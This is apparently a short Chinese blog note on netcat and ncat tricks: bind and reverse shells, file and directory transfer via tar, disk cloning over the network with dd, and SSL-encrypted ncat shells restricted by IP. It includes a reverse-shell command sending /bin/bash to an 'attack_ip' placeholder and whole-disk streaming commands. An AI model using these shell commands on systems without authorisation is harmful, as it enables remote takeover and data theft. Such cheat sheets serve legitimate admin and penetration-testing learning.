nc和ncat的特殊使用

发布时间 2023-05-20 16:08:07作者: Junglezt

在平常使用nc只会反弹shell,和文件传输,这里学到一些其他的使用方法记录一下

反弹shell

# 反弹shell
nc -lvp 4444 -e /bin/bash 
nc -nv target_ip target_port 

# 常用的反弹shell
nc -lvp 4444
nc -nv attack_ip attack_port -e /bin/bash

注意:在最新的netcat中,不自在-e或者是-c参数,建议安装Nmap的模块Ncat,提供了丰富nc的特殊功能。

文件传输

# 接收方
nc -lvp 4444 > test.txt
# 将4444端口监听到的信息保存到 test.txt 文件中

# 传输方
nc -nv target_ip target_port < a.txt
# 将 a.txt 传输到目标服务器

# 另一种方法
# 传输方
nc -lvp 4444 < a.txt
# 将 a.txt 内容传输给连接到的 4444 端口

# 接收方
nc -nv target_ip target_port > test.txt
# 连接到目标的短裤,将数据保存到 test.xt

配合tar命令传输文件夹

# 接收方
nc -lvp 4444 | tar -xvf -
# 传输方
tar -cvf - 目录名 | nc -nv target_ip target_port 


# 另一种方法
# 传输方
tar -cvf - 目录名 | nc -lvp 4444
# 接收方
nc -nv target_ip target_port | tar -xvf -

配合dd命令远克隆磁盘

# 克隆磁盘的一段
nc -lvp 4444 | dd of=/dev/sda_copy

# 远程服务器
dd if=/dev/sda | nc -nv target_ip target_port -q 1

# 将 /dev/sda 传输到需要克隆机器中的 /dev/sda_copy 设备中

其中-q 1参数代表,传输完成自动退出,在传输文件、文件夹中也可以加入该参数。这里也有另一种反过来的方法复制,这里不再演示

Ncat的使用

Ncatnc的一个升级版,Ncat可以使用任何nc可以执行的操作(例如我们上述执行的操作),Ncat也有其特殊的功能。
nc在进行传输数据的时候是明文传输,Ncat可以使用SSL加密解决这个问题;并且进行反弹shell的操作时,监听的shell任何人都可以连接,ncat也可以解决这个问题

常用的参数:

  • --ssl:采用ssl加密连接
  • --allow: 指定可以连接的IP地址

使用实例:

# 共享shell的一方
ncat -lp 4444 --ssl -e /bin/bash --allow 192.168.100.123
# 共享shell到4444端口,启用ssl加密传输,并且只有 192.168.100.123 这个IP地址可以连接


# 连接shell的一方
ncat -nv target_ip target_port --ssl